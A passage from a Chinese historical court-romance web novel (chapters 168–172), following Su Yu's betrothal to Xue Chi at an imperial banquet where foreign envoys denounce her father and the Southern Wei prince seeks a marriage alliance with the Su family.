屋里一众丫头婆子从后门出去,薛迟看着苏钰,知道苏钰有话对他说,含笑的眉眼间带着一丝丝不安,“你知道了?” 晋阳长公主说了慕容宁的要求后,尤其说到苏天翊时,他就知道,慕容宁肯定会把其中原由告知苏钰。 他的身份不是秘密,慕容宁知道,苏天翊知道,苏略也知道。 只是,苏钰突然间从别人嘴里得知,他也不知道苏钰会是什么反应。 苏钰点点头,眸光中冷了几分,带着责怪,“你瞒的我好苦,我若是早知道……” “早知道就不理我了吗?”薛迟说着。 苏钰顿了一下,却摇摇头,语气十分坚定,“不会。” 知女莫若母,要是说了就能打消她的恋爱脑,慕容宁早说了。 薛迟听得高兴起来,苏钰脸上却没有多少喜色,只是看着薛迟,“你为什么不告诉我?” 薛迟的身份,让她意外。能成为皇后,她却一点都不高兴。 注定腥风血雨的人生路,她可以面对,但并不喜欢。 而眼下薛迟的隐瞒,她更想知道理由。 是担心她守不住秘密?还是觉得,没必要让她知道? 薛迟有片刻的沉默,好一会终于开口,“皇权争斗瞬息万变,我从出生就姓薛,直到现在也没有恢复身份,我也不知道能不能活到那一天。” 他在很小的时候就知道自己的身份,也是从那时起背负了沉重的人生。 他不愿意告诉苏钰,一是觉得在苏钰父母兄长都知道的情况下,算不上是故意隐瞒。 二是不想让苏钰提前背负这些,皇权争斗的每一步都充斥着血腥与算计。 与其让苏钰提心吊胆,让她快乐的人生沾染上过多血腥暴力。不如等他事成,他封她为后,跳过中间的惊险,直接到最后一步。 要是天运不在他,他失败了,人头落地。以苏家的门第,苏天翊的能力,也连累不到苏钰。 苏钰沉默了许久,薛迟有些紧经的看着她,“你生气了?” 隐隐约约的,他早就感觉到苏钰并不喜欢皇宫,对于权势也不是很在意。 他也担心,他说了,苏钰会跟他疏远。 苏钰依然没作声,她想说她没生气,因为生气没有用。 她的人生,就是没有薛迟,也不可能无波无澜的做个富贵闲人。 苏天翊希望她当皇后,估摸着也是觉得,站在权力的巅峰,才能高枕无忧。 “阿钰……” 薛迟语气中带着歉疚,还想说点什么,只觉得一阵眩晕,实在太久没睡,困意上来了。 苏钰看着他,有些心疼说着,“你要不要睡一会。” “这是你的闺房,我睡这里不太好。”薛迟说着。 “都累成这样了,还讲究这些。”苏钰说着,“又不是睡我床上,只是在榻上躺一会,不要紧的。” 说话间,苏钰叫丫头们进来,把罗汉床收拾了一番,又另外拿了新的铺盖,整理好放到罗汉床上。 薛迟也没再推辞,没让丫头侍侯,自己脱了鞋,合衣躺下。 “一个时辰后叫我。”薛迟说着。 苏钰点头,“你安心睡,我准时叫你。” 第169章 第 169 章 薛迟躺下就睡着了…… 薛迟躺下就睡着了, 苏钰带着丫头悄悄退出来。 小丫头放到下东梢间的帐幔,琉璃朝小丫头们挥挥手,小丫头们会意,从后门退出房间。 苏钰在西梢间的书桌前坐下来, 随手抽出本书翻看着。 琉璃和绿川两个大丫头站在苏钰身侧, 皆是沉默不语。 午后的阳光宛如金色的丝线, 透过雕花的窗格, 轻柔地洒落在室内。 苏钰看着书,却留意着时间。 薛迟说了只睡一个时辰, 应该是一个时辰后还有公务要处理。 大皇子恢复神智,使团进京,外务缠身,内斗不休,薛迟确实很累。 想到这里, 心中不禁涌起一丝心疼。 不知不觉中,一个时辰就要过去,苏钰正欲起身去叫薛迟, 就听东梢间里传来动静, 薛迟醒了。 说了睡一个时辰, 哪怕是睡梦中,也能控制自己。 琉璃唤小丫头进来, 打起两边帐幔, 苏钰走过去,只见薛迟己经从罗汉床上起来,鞋子己经穿好,头发却乱了,如墨般的发丝有些松散地垂落在肩头, 向来严肃冷峻全的脸上,增添了几分慵懒。 衣服也有些凌乱,领口微微敞开,腰带也有些歪了。 “什么时辰了?”薛迟问了一句,刚睡醒,声音中还透着点茫然。 “刚好一个时辰。”苏钰说着,吩咐小丫头备水给薛迟洗脸。 薛迟正收拾着,就听脚步声响起,苏略的声音随之响起,“阿钰……” 苏钰心中暗叫不好,刚想着把苏略拦下,就见苏略己经打起帘子进来。 “大哥……”苏钰有些心虚。 苏略看向东梢间,与薛迟四目相对。 此时薛迟己经洗好脸,丫头们正围着他整理衣服和头发,以及旁边放着被子的罗汉床。 苏略脸色顿时变了,几步上前就要去揪薛迟的衣领。 指婚的圣旨还没有求下来,就敢在苏钰房间里睡觉。就是那么多丫头婆子守着,不会有逾越的事情发生,但男子在女子闺房里睡觉,就是大大的不妥。 “薛迟,这里不是你能放肆的地方。”苏略怒气冲冲说着。 薛迟不着痕迹避开,却是郑重躬身说着,“是我唐突了,大哥莫怪。” “谁是你大哥。”苏略气笑了。 苏钰见状,连忙挡在薛迟身前,急切地说道:“大哥,是我留薛迟在此休息的。” 苏略自然晓得苏钰主动挽留,心里却更生气了,冲着薛迟说,“她留你,你就敢!” 薛迟没有拒绝,就是他的错。 薛迟并不辩解,只是再次躬身致歉。 苏略依然气愤难消,却是甩袖说着,“薛大人事忙,我就不留你了。” 逐客令下的直接,薛迟也不生气,只是说着,“我今日过来,是为了明天宫宴之事。” 苏略道:“此事不劳薛大人操心,我会安排妥当。” 只怕薛迟都不知道,出席宴席的苏钰要面对并不是显庆皇帝与关太后。 或者说,他们只是小事。 薛迟本想与苏略商量一下,见苏略态度坚决,此时也不好说什么,道:“既如此,我先告辞了。” 苏略还在气头上,“慢走,不送。” 苏略如此说,苏钰朝薛迟抱歉的笑笑,又给琉璃使了眼色。 琉璃会意,悄悄去送薛迟。 等到薛迟离开,苏略开始训斥苏钰。 “那么大的姑娘了,也不知道轻重。薛迟是外男,你怎能留他在你的闺房中。若传了出去,你的名声还要不要了?” 苏略说着。 苏钰理亏,低头任由苏略训斥。眉眼间却仿若写着,我错了,下次还敢。 苏略训了几句,知道苏钰未必听得进去,叹气说着,“感情之事,太放心上了,伤的只有自己。” 因为爱而在乎,因在乎而受伤。 直到伤透了,才能放下。 苏钰深吸口气,“我知道大哥是为我好,但我不想违背自己的心意。” 既然爱了,也能够相守一生,何必瞻前顾后。 至于将来的变故,不爱了,或者有其他变故,那都是将来的事。 人要活在当下,天天纠结着想着以后如何,也不想想几十年后人总是要死的。 天天纠结,这辈子还活不活了。 苏略看看苏钰,突然说着,“你还真像父亲。” 想做什么就去做,不纠结,不后悔。 至及次日,从申时末起,苏钰就坐在化妆台前,两个嬷嬷给苏钰梳头上妆,绿川和琉璃两个大丫头旁边打下手。 “这回宫宴上的女眷,基本都是三品诰命。”嬷嬷说着,“姑娘一定要紧跟着老太太。” 五品诰命有资格入宫朝贺,这回是招呼外国使团,三品诰命才有资格上桌。 只是有资格,能不能上桌,还得看丈夫得不得势,以及太后那里能不能排上号。 像苏钰这种,连诰命都没有,还被皇上下旨特许参加的,就会是焦点中的焦点。 就两位嬷嬷多年的宫廷经验来说,多半会出事。 好事坏事不好说。 苏钰早就淡然了,想想北齐的恨,不淡然也不行。 妆扮妥当后,估摸着时间差不多,苏钰坐软轿到二门。 苏震岳,谷夫人,苏天佑也是刚到。 苏震岳与苏天佑都是官服,谷夫人是大品梳妆,全套一品诰命的接扮,全身上下几十斤重。 “不要紧的。”谷夫人安慰着苏钰。 苏钰朝谷夫人笑着,“有老太太跟着,我一点都不害怕。” 苏震岳神情中带着戒备,“出发。” 苏震岳和苏天佑骑马,谷夫人与苏钰坐轿。 国公府全副仪仗摆内,还有府内亲兵前呼后拥,安全措施十分到位。 轿子刚转弯,苏钰就听前头一声暴喝,“苏天翊,你在北齐恶事作尽,今日定取你亲人性命。” 不太流利的官话,加夹着浓浓的外族音。 苏钰不自觉得掀起轿帘看过去,只见十几个黑衣杀手,脸上蒙着黑布,只露出一双双充满仇恨的眼睛,提着长刀就冲向她所在的轿子。 苏震岳脸色不变,跟随的府兵冲杀上去,手起刀落间,十几个杀人尽数斩杀,一个活口都没有留。 “继续出发。”苏震岳冷声说着。 就在苏家队伍离开后,又有一群仆从打扮的人出现,把街上的尸体抬到车驾上,又抬来水,清洗街道。 一行人动作十分麻利,好像干过无数回了,一柱香不到,街道清洗干净。 经历过第一波刺杀后,苏钰觉得自己己经做好了心理准备。 但是,第二波,第三波…… 从国公府到畅春园,三波刺杀,苏钰都有点破防。 两波北齐的,一波南魏的。都是大喊着苏天翊的名字,说着苏天翊的恶行。 与其说是他们想刺杀,不如说是想当街大骂苏天翊,把苏天翊的恶行召告天行。 因为早有防备,又有苏震岳坐阵,三波刺杀连第一波包围都没有突破。 苏钰安然坐在轿子里,听着外头刺客的大骂,心下感慨。 苏天翊出京十年,北齐,南魏,西蜀,慕容氏…… 恨不得生啖其肉。 华灯初上时,畅春园到了。 畅春园不愧是皇家园林,朱红色的宫墙在灯光的映照着,朦胧的夜色与璀璨的灯光交织下,宛如一幅梦幻的画卷。 苏钰以前来过,不过是白天。 经过嬷嬷们昨天的恶补,她己经把畅春园的地图背下来。 西门下轿,苏钰蹭着谷夫人也上了车,苏震岳和苏天佑随轿而行。 宾客众多,哪怕是三品诰命,都未必有车坐。也就是谷夫人,车驾待遇与王妃平级。 因为一路上的三波刺杀,哪怕进了畅园春,苏震岳神情依然绷的很紧,生怕有刺客跳出来。 “苏大人,这边请。” 苏钰刚从车上下来,就听到小太监的声音。 “劳烦了。”苏震岳说着。 宴席摆在阅是楼,是畅春园左侧最大的建筑群,也是皇家摆宴的地方。 此时灯火通明,琉璃瓦在灯光下闪耀着绚丽的色彩,飞檐斗拱如展翅欲飞的雄鹰。 周围的回廊上挂满了红色的灯笼,将整个建筑群映衬得格外喜庆。 小太监引着四人入席,因为要招呼外宾,宴席以家庭为单位,不再男女分席。 显庆皇帝,关太后,自然是正堂高座。 下面是以正中的水景为分界点,左侧是大周人,右侧是使团。 苏家的坐次非常靠前,左侧C位,第一眼就能看到。 四人刚入席,晋阳长公主与薛驸马,慕容宁与楚王爷一前一后来了。 都是熟人,苏钰放心了许多。 就在苏钰正想着过去招呼时,谢无衣来了。 许久不见,苏钰微微有些诧异,好似没想到会在这里遇到他。 建章营骑,天子近侍,这种日子应该很忙才是。尤其是他还做为迎接使接来了南魏使团,今天这么大的日子,他该忙的脚不沾地,没时间参加宴会。 苏钰又注意到,谢无衣并未穿官服,而是一种玄衣,虽然很好看,却不是建章营骑的官服。 这种时候没穿官服…… “好久不见。”谢无衣注意到苏钰的目光,眼中似乎闪烁着什么,最终化为一声问侯。 苏钰微笑着,礼貌说着,“好久不见。” 第170章 第 170 章 晋阳长公主皱起眉…… 晋阳长公主皱起眉头, 悄悄拉了拉谢无衣的衣袖,谢无衣收回目光,在薛驸马身侧坐了下来。 苏钰朝晋阳长公主笑笑,随即别开眼, 与谷夫人小声说话。 两边席位很快坐满了, 苏钰留意, 没看到罗星。 也不知道是她没来, 还是换了张脸隐藏身份。 “皇上驾到。” 随着太监的一声高喝,众人纷纷起身下跪。 显庆皇帝身着明黄色龙袍, 龙行虎步而来,脸上得意之色尽形。 薛迟理所当然跟在显庆皇帝身侧,眼神却在扫过人群时,看到苏钰,神情瞬间柔和了许多, 嘴角不自觉地轻轻上扬。 海公公扶着关太后,跟在显庆皇帝身后,却不见三皇子。 关贵妃被贬, 人也疯了, 不出现正常。 但三皇子, 可是关家唯一的皇子,这种时候应该紧跟在关太后身边刷存在感。 “皇上万岁万岁, 万万岁岁, 太后千岁千岁,千千岁岁。” 显庆皇帝看着跪地的众人,尤其是南魏和北齐的使团,心中涌起一股强烈的自豪感。 慕容氏是先皇打下来的,南魏与北齐和大周打了这么多年, 虽然没有像慕容氏那样降了大周,但都派使者来和谈了,这功绩也是前人没有的。 他果然是天选之人,所治天下,天下太平,万邦来朝。 想到此处,显庆皇帝脸上露出了欣慰的笑容,又格外的看向薛迟。 多亏有这么个好儿子,生儿子还是得命里能旺父的贵子。 “平身。” 显庆皇帝说着。 众人闻声,纷纷缓缓起身,整理衣衫,恭敬地各自落座。 显庆皇帝正高兴之时,刚想开口说几句场面话。就见北齐的使者 “腾” 地站起身来,满脸怒容,手指微微颤抖着指向苏家人。 苏家第一排C位的坐次,尤其是苏钰的长相,让北齐使者压不住心底的怒火,破口大骂,“苏天翊实乃恶贼,这些年来犯下滔天大罪,若不杀他,不足以平我等之怒!想我北齐和谈,首要之事便是杀了苏天翊。” 因为容貌的关系,北齐使者就是指着苏钰骂的,苏钰并不生气,偏头看着北齐使者,只是有些诧异。 好歹还是个使者,看到她的脸就破防,这也太不中用。 就在苏钰诧异之事,南魏使者也跟着站起身来,脸上带着气愤之色,说道:“不错,苏天翊此人,阴险狡诈,在我国土兴风作浪。大周若想与我南魏和谈,也必须先杀了苏天翊,否则一切免谈!” 慕容弦紧抿着唇,虽然不像北齐和南魏使者那样站起来破口大骂,脸上神情极为复杂。 要是能一剑杀了苏天翊,他情愿折寿二十年,不,他愿意一命换一命。 此人不除,慕容氏想再独立回去,难如登天。 “此等恶贼,不杀不足以平我等之怒。” 北齐使者再次大声说着,声音在大殿中回荡。 苏钰彻底惊呆,她不禁看向慕容弦,几乎压抑不住的杀气。 她到此时才明白,慕容宁说她太像苏天翊,慕容弦绝对不会喜欢她,到底是什么意思。 显庆皇帝明显愣住了,实在没想到,苏天翊人不在场,竟然成了主角。 宫宴上的大周臣子也有些惊讶,苏天翊离京十年,离京前己是出将入相,做到了官场天花板。 离京后,他到底做了什么,无人知晓。 现在三方和谈,竟然能引南魏和北齐的使者破口大骂。 他到底干了什么。 唯独关楚河,神色淡然,似乎一切都在意料之中。 一个从小到大,就没当过第二的人。就是外表性格看来起再温和,内里的攻击性都是极强的。 不管最初的原由是什么,苏天翊既然当了监察寮的正使,那肯定也能把本职工作做到极致。 也幸好,苏天翊离京了,不然这京城早就变天了。 “噗。”一声女子的轻笑,让原本剑拔弩张的场安静下来。 “不好意思,没忍住。”苏钰抿唇笑着,“父亲离京多年,从未有只字片语传来,我一直在想,父亲在外做什么,现在知晓,他如此厉害能干,把你们打到只能动嘴皮子的地步。” 就大周与南魏,北齐的关系,能动手就绝不会动口。 只能动口言语贬低,这是真破防了。 “区区小女子,和你那亲爹一样,都该死。”北齐使团越说越上瘾,拱手向显庆皇帝说着,“苏家人都该死,诛全家,灭九族。” 南魏使团也跟着说,“对,灭苏家九族。” 苏天佑就要起身开口,谷夫人却是拍拍她的手,笑着开口,她声音舒缓,甚至带着一点点揶揄,“苏大人离京多年,从来不曾邀功请赏,竟不知他竟然立下如此多的汗马功劳。” “现在由诸位开口为苏大人请功,多谢了。” 北齐使者顿时更怒了,正想大声斥责,却被同伴拉了拉。 眼前场面都快失控,再这么骂下去,除了丢脸,也不会有结果。 原本还在发懵中的显庆皇帝,顿时觉得这话有理,让敌国破口大骂,自然是苏天翊的差事办的好。 “苏大人与国有功,是该大大的嘉奖。”关太后说着。 显庆皇帝笑着点头,“没错,是要好好嘉奖。” 关太后顺势说着,“苏大人为国操劳,膝下只有一女,年芳二十,尚未出阁。” 说话间,关太后目光看向薛迟,“薛迟乃是长公主之子,又得皇上喜欢,身份贵重,与苏姑娘正是天造地设的一对。” 显庆皇帝想到他答应了薛迟的,难得与关太后意见一致,“我也觉得他们合适,趁着今天,我来做这个红娘,给他们赐婚。” 此言一出,台下众人脸色各异。 薛迟与苏钰的交往京城皆知,两人成亲是早晚的事,但这个时候指婚,是否有些不妥。 哪有在宴请外宾时,突然给臣子指婚的,又不是和亲。 薛迟也有些意外,心知关太后不会好心指婚,肯定有后招等着他。 但眼下的情况,他若是拒绝,与苏钰再无可能,这是明摆着的阳谋。 当即走到台下,恭敬地向关太后和显庆皇帝行礼,言辞恳切地说道:“谢谢陛下、太后娘娘,臣定不负陛下与太后娘娘之厚爱,护苏姑娘一世安稳。” 谷夫人微微皱眉,有些担忧的看向苏钰。 苏震岳和苏天佑也是面面相覷,苏钰与薛迟交往,他们都不反对。 但这个时候指婚,怎么想都觉得有点不对劲。 苏钰心里也十分意外,却是向三人笑笑,示意自己无事,走到薛迟身侧,跟着一起见礼,谢恩道:“臣女苏钰,谢皇上、太后娘娘隆恩。臣女定当恪守妇道,与薛将军携手相伴,为皇上、太后,为大周尽绵薄之力。” “好,成全一对有情人,是喜事。”显庆皇帝十分高兴,又吩咐苏钰出阁时以郡主的标准,让宗人府额外准备一份嫁妆。 苏钰与薛迟再次谢恩。 谢恩后,两人各自落座。 亲事终于尘埃落定,虽然是在这种场面下,苏钰面色微红,不禁看向高台处的薛迟。 薛迟也正看着她,目光坚定。 不管关太后想做什么,指婚达成,他是真的高兴。 皇帝亲自指婚,哪怕不合时宜,道喜声络绎不绝。 晋阳长公主做薛迟的“母亲”,脸上笑的十分高兴,心里却是突突的,不敢去看谢无衣,却是下意识抓住儿子的手,生怕他闹出事来。 薛驸马也留意谢无衣,只见谢无衣脸色刷白,神情没落,端起酒杯,好像敬酒一般,随即一饮而尽。 薛驸马多少松口气,不管心里怎么想,只要不闹就好。 宴席开始,礼部苦心准备的,节目十分精彩。 歌姬舞女们翩翩起舞,乐师们弹奏着美妙的乐曲。席上菜品,旁边侍侯的宫人更是不必说。 显庆皇帝最欢喜之日,当然得好好展现一下天朝大国的风采。 酒过三巡,宴席己到后半场,就在此时,慕容弦突然起身,向显庆皇帝和关太后行礼,“家姐己入京二十年,父王病重垂危,想念姐姐,想在死前见姐姐一面,请陛下成全。” 此言一出,全场寂静。 父亲重病这种都是借口,质子只要回去了,就绝不会再回来。 慕容宁入京为质二十年,做为质子她早该回去,但一直没回去。 一直沉默的南魏太子夜烬阳突然站起身,向显庆皇帝见礼之后说着,“早就听闻大周乃天朝大国,竟然扣留质子二十年,不放其归,大周此举,实在让人费解。” 北齐使团也跟着说,“慕容氏都投降了,还要扣留质子,你们大周就这么没自信吗。” 显庆皇帝十分犹豫,他曾答应过慕容宁会让她回西北,天子一诺,哪能食言。 又听南魏和北齐的使者皆如此说,心下更觉得该放慕容宁离开。 目光看向朝臣,朝臣们面面相覷,一时间都不知道该说什么。 慕容宁前头在京城大开杀戒,恨她的人多,怕她的人更多。 若是真走了,相当于送瘟神,皆大欢喜。 要是没走成,依然还在京城,这时候敢乱说话,岂不是会被事后报复。 “此事,稍后再议。” 就在显庆皇帝犹豫之时,关太后突然出声。 170-180 第171章 第 171 章 “此事稍后再议。…… “此事稍后再议。”关太后说着。 原本正犹豫不知所措的显庆皇帝, 马上说着,“稍后再说。” 慕容弦紧抿着唇,眼底戾气几乎要压抑不住。堂堂一国之君,说话如放屁, 早就给出的承诺, 竟然不兑现。 慕容宁神情淡然, 似乎对于这个结果一点都不意外, 抬头看着慕容弦,微不可见的摇摇头。 显庆皇帝是什么人, 她很清楚。 做为一个执政者显庆皇帝是不合适,但也因为不合适,糊涂了才会放她离开。 但关太后毕竟还活着,眼前有机会,但急不得。 慕容弦强压心底的怒意, 拱手退下。 小小的插曲,宴会继续。 苏钰却有些心不在焉,时不时的朝慕容宁看去。 关太后虽然拒绝了, 但是慕容宁谋划了这么多年, 应该还有后手, 她是一定要走的。 既使苏钰己知晓,话也早己说开。 但听到慕容弦的话, 想到慕容宁近期就会离京, 她心绪依然翻腾不休。 人无法选择自己的父母,同样的,父母的影响也会持续一生。 慕容宁就要走了,此回一别,也不知道会不会再见。 一段歌舞结束, 北齐使者放下酒杯,突然起身,微微扬起下巴,以一种找茬的口吻大声说道:“大周皇帝陛下,吾北齐如今国力昌盛,特提议两国联姻,让大周的公主嫁到北齐,此乃两国友好之契机。” 礼部尚书一听,顿时怒从心头起,他拍案而起,鄙夷地说道:“哼!简直是笑话。就是和亲,也该是北齐的公主嫁到大周。你北齐不过是蛮夷之地,如何配得上我大周公主。我大周乃天朝上国,礼仪之邦,岂是你北齐可比?” “北齐公主嫁到大周,那是来到天朝上国了,是北齐公主修了十八辈子才有福份。” 北齐使者被这话气得脸色涨红,他怒目圆睁,大声反驳道:“你大周有何了不起?我北齐铁骑天下无敌,若不是看在两国友好的份上,早就兵临城下了。” 礼部尚书冷笑道:“可不是无敌嘛,无敌到只能来求和了,无敌至此,也是天下笑谈。“ 北齐使者越发怒了,”都是苏天翊卑鄙无耻,不然早就打的你们跪地求饶。” “输不起,这就是输不起。”礼部侍郎站起身来,接棒输出,“说北齐是蛮夷哪里有错,我大周文化昌盛,名家大师遍地,连你们仕子的书本都是我大周人写的。” “胡说八道。”北齐使者更怒。 两边嘴炮你来我往,要不是担心君前失仪,只怕要当场打起来。 礼部做为此次活动的接待,早就防着北齐这一手,安排的人也是个个嘴炮高手,自家地界上,绝对不能输。 两方骂战一轮后,就在双方选手充补体力之时,南魏太子夜烬阳突然起身,非常郑重地向显庆皇帝见礼,那恭敬的模样让人挑不出一丝错处。 他缓缓开口,言语间十分客气以及尊崇:“陛下,吾南魏久慕大周之风华,愿与大周结秦晋之好。吾南魏定会以最大的诚意对待此次联姻 ,与大周永结盟好。” 夜烬阳的态度,与北齐使者故意找茬的模样全然不同。让北齐使者惊在当场,其他人的目光也看了过去。 尤其是礼部尚书,只觉得莫名其妙。一直以来的来往文书中,南魏并没有和亲的想法。 显庆皇帝有些意外,他没想到南魏太子会在这个时候提出要和亲。 但夜烬阳的态度非常好,让他十分高兴,当场答应,“太子所言甚是,朕亦有意与南魏联姻。” 说是公主和亲,多数和亲公主连县主都不是,随便挑个宗室女,甚至宫女都能当做公主送出去和亲。 夜烬阳接着说道:“陛下,吾听闻苏家女才貌双全,贤良淑德,若能娶苏家女为妻,吾愿以重礼聘之。吾南魏对苏家也是敬仰已久,苏家之荣耀,吾南魏深知。若能与苏家结亲,实乃吾南魏之幸。” 全场诡异的安静下来,本来还打算骂阵的北齐使都愣住了。 求娶苏家女?南魏就是被苏震岳带着苏天华打败的,现在求娶她家女儿…… 明白了,肯定是想娶回去好好折磨。 想到这里,北齐使者马上跟着说:“陛下,吾北齐亦愿娶苏家女。苏家女之名,吾等早有耳闻,若能得之,实乃吾北齐之幸。” 这回不止显庆皇帝,连关太后都怔住了。 北齐使者这是跟风凑热闹,但夜烬阳的态度可不像做假。 几乎所有人目光全看向宴席上的苏家众人,苏震岳面色不善,他缓缓站起身来,语气坚定地说道:“陛下,吾苏家没有合适的女儿,也不打算嫁到蛮夷之地。苏家之女,皆是金尊玉贵娇养长大,岂能嫁到那等蛮夷之地受苦?要是非得求娶,苏家丫环很多,可以挑两个。” 话说的极不客气,却没人敢说他失礼。 南魏和北齐突然说要求娶苏家女,本来就不怀好意,被人怼回去也很正常。 这种宴席上,嘴炮打起来,绝对不能输。 北齐使者脸色不好看,但没说什么。 夜烬阳的态度却依然恭顺,他再次行礼,再三解释道:“陛下,苏大人,吾是真心求娶的,并不是存心打趣。吾对苏家女的仰慕,绝非虚言。只要苏家答应,聘礼都好商议。吾南魏定会以最大的诚意,迎娶苏家女。” 夜烬阳如此恭敬的态度,如此低的姿态,连北齐使者都愣住了。 好似在说,兄弟,你咋玩真的呢。 苏震岳更惊讶,惊讶之余表情依然十分厌弃。 两国打成这样,就算是真心求娶,谁敢把女儿嫁过去。 国恨家仇,只怕活不过一年就得死。 谷夫人突然开口说,“苏家没有适龄女儿,倒是有未娶亲的儿子,若是诚意和亲,苏家儿子倒是可以娶南魏的公主。” 夜烬阳口口声声要和亲,嫁女儿,娶媳妇都是和亲。 但对苏家来说,娶进门一个,和嫁出去一个,意义是完全不同的。 皮球踢给南魏,现在就看南魏舍不舍得。 夜烬阳稍稍犹豫之后,竟然答应了。 他看着苏震岳和谷夫人,郑重地说道:“夫人所言极是。吾南魏愿与苏家结亲,苏家公子若娶吾南魏公主,吾南魏定会以公主之礼相待,绝不亏待。” 此言一出,全场再次寂静,连谷夫人都有些意外。她会如此提议,本来是想堵南魏的嘴。 与南魏打成这样,南魏求娶苏家女,明显是想娶一个回去磋磨的。哪里想到,夜烬阳竟然也答应了。 苏震岳惊讶地看着夜烬阳,说道:“太子殿下,你可要想清楚了。这和亲之事,非同小可。你南魏与我大周曾有战事,如今这般决定,可莫要后悔。” 夜烬阳坚定地说道:“夫人放心,吾已深思熟虑。吾南魏愿与苏家结亲,与大周永结盟好。” 苏钰看着夜烬阳,心里隐隐觉得,这也许与罗星有关。 夜烬阳是南魏不受宠的皇太子,别说继承皇位了,命能不能保住都不好。 罗星不同,她是国师的爱徒,在南魏地位崇高。 夜烬阳这是用迂回的方式,与罗星扯上关系。 转念一想,又觉得事情不对。 罗星再是国师的爱徒,她一旦认回苏家,也会与南魏断绝关系。 而她要是不回归苏家,与苏家就是陌路。 毕竟以南魏和大周的关系,是不可能脚踩两只船的。 苏钰不自觉得看向夜烬阳,年轻的皇太子,芝兰玉树,谦逊有礼。 即便此时低眉顺眼,态度恭敬,眼底深藏着的心机与算计也难遮掩。 他到底想做什么? 显庆皇帝顿时高兴起来,笑着说,“好!甚好!太子果然有诚意。朕就为两家赐婚。愿南魏与大周永结盟好,共享太平。” 本来还以为要随便嫁个公主出去,没想到南魏如此好打发,都不用皇子出面,苏家随便一个儿子都可以娶南魏公主。 苏震岳和谷夫人相视一眼,南魏的求亲,怎么想都觉得诡异。 但旨意己下,两人起身谢恩。 宴席至此,终于结束了。 显庆皇帝满心欢喜,南魏主动嫁公主,北齐也没占到丝毫便宜,彰显了大周的国威,实在是妙不可言。 看着群臣,心中充满了自豪,大周在他的统治下,繁荣昌盛,四方来朝。自己果然是天下之主,无人能及。 显庆皇帝和关太后先前起身,众人也跟着起身,正欲跪下恭送两人离开时,就见皇城的位置,光芒乍现。 那光芒如同一道绚丽的彩虹,横跨天际。异色光彩冲天而现,把整个夜空点亮。 所有人都愣住了,直到礼部尚书突然大声喊着:“皇上,这是吉兆啊。” 其他官员虽然摸不清头脑,但也跟着说:“这是吉兆。陛下洪福齐天,天佑大周。” 显庆皇帝迷信,众所周知,有怪事发生当然要先说是吉兆。 免得显庆皇帝又莫名其妙的发疯,莫须有的罪名落身上。 显庆皇帝越发高兴,连声说好,吩咐钦天监查看天象,自己也急匆匆的赶去皇宫。 第172章 第 172 章 从畅春园到苏家,…… 从畅春园到苏家, 都半夜了,依然遇到了五波暗杀。 这是趁夜多安排了两场,苏钰深刻理解,苏略不让她出门, 并且给她闺房里安排两个侠女的原因。 大半夜如此大的动静, 惊动的就更多了。 京兆尹, 建章营骑, 羽林军,连平头百姓都因为吵闹动静太大不得入睡, 探出门来查看什么事。 相信不到明天,就会全城皆知。 如此一折腾,回到苏家时,天都快亮了。 管事一直在门口等着,直到有小厮来报, “主子们的车驾己进东大街。” 管事点头,转身吩咐婆子,传话给各房准备上。主子一身疲惫的半夜回来, 下人们更得打起精神侍侯。 另外派人去二房, 今天的宴席, 苏天华没有参加,却比谁都担心。 苏震岳和苏天佑门口下马, 缰绳丢给小厮, 大步进门。 苏钰和谷夫人的轿子抬进二门,丫头扶着下轿。 一场宴席,事情发生的太多,疲惫却都没有多少睡意。 苏震岳担心谷夫人精神不济,“太晚了, 各自回去休息,中午一起吃饭。” “是。”苏天佑和苏钰应着。 各自回房,苏钰回到听雨轩。 胡婆子,绿川,琉璃带着小丫对们院中等着,看到苏钰连忙迎了上去。 苏钰一身疲惫,不等她们开口就说,“我累了,先睡觉。” 吃饭,洗澡,等醒来之后再说。 苏钰本以为自己会睡不着,毕竟事情太多。 没想到沾枕头就睡着了,一觉睡到中午,要不是想着要去乐道堂吃中饭,她还想再睡会。 起床,洗澡,更衣,苏钰吃了几块点心,就去了乐道堂。 还不到吃中饭的时间,苏震岳己经在了。 苏钰请了安,刚刚坐下,苏天佑带着腿伤刚能下地的苏越就来了。 苏天华,叶氏,叶峰,苏邑,也紧跟着来了。 厨房还在准备,饭菜还没上桌。 人来齐,先开会。 “钰姐儿的婚事定下来了,还要辛苦二太太。”谷夫人对叶氏说着。 显庆皇帝亲自指婚,各国使者见证,这亲事是板上钉钉,除非一方死,这婚是退不了。 叶氏早就在准备苏钰的婚事,又知昨天晚上宴席之事,起身道:“钰姐儿的婚事,我一直放在心上,如今各项事宜也都在筹备当中。” 苏钰听闻,起身向叶氏道谢:“让二婶费心了。” 叶氏笑着说:“都是我份内之事,钰姐儿不必如此客气。” “关太后为什么突然提起钰姐儿的亲事?”苏天佑说着。 要是显庆皇帝指婚,他并不意外。 关太后特意提起苏钰的亲事,怎么想都不会是好事。 苏震岳显然也觉得此事诡异,但事情己成定局。而且就他的感觉,这事是冲着薛迟来的。 “既成定局,原由就让薛迟去问吧。”苏震岳说着。 一语敲定,众人也不再说。 接下来就是另一件大事,苏家儿子娶南魏公主。 叶峰起身先开口,神色坚定:“我尚未婚配,愿意娶南魏的公主。” 苏越一听,心中急切,正要起身说自己也未成婚,也可以和亲。 可还未等他开口,谷夫人却摇摇头,对叶峰说着:“你己过继给叶家,现在姓叶。而与南魏太子说的是,苏家子娶南魏公主,只怕不妥当。” 叶峰微微皱眉,却也知谷夫人所言有理,便不再多言。 苏越起身说着:“三哥也己定亲,现在家里只有我一个合适,我愿意合亲娶南魏公主。” 谷夫人没作声,心中却斟酌着。 苏越不合适。 并非身份不合适,而是心性不合适。 南魏说是嫁公主,和亲的公主真公主有限,特意要与苏家联姻,多半是秘探。 对于这样的和亲公主,不是娶了好吃好喝供着,而是一定要贴身防范,小心谨慎应对。 叶峰要是不姓叶,倒是合适的对象,他够谨慎。可这苏越还是孩子心性,应付不来。 苏天华和叶氏相视一眼,他们没去畅春园,只是听人转述。 苏天华皱眉说着,“这和亲必须得和吗?” 南魏就是苏震岳带着他打下来的,国恨家仇,现在南魏公主非得嫁到苏家。 他不禁怀疑,难道公主打算进门第一天,就下毒毒死他们全家。 苏天佑叹了口气,说道:“当时的情况,主要是南魏太子夜烬阳言辞恳切,态度谦卑,让人难以回绝。” 苏震岳心里己有主意,吩咐苏天华,“你回直隶一趟,在本家年轻一辈子侄里挑个合适的过继,成亲后让他们回直隶生活。” 和亲公主可以在宗亲里挑,苏家子也可以在宗族里选,苏家在直隶是大族,家中年轻子弟众多。挑一个年轻俊俏,精明干练的过继,娶公主。 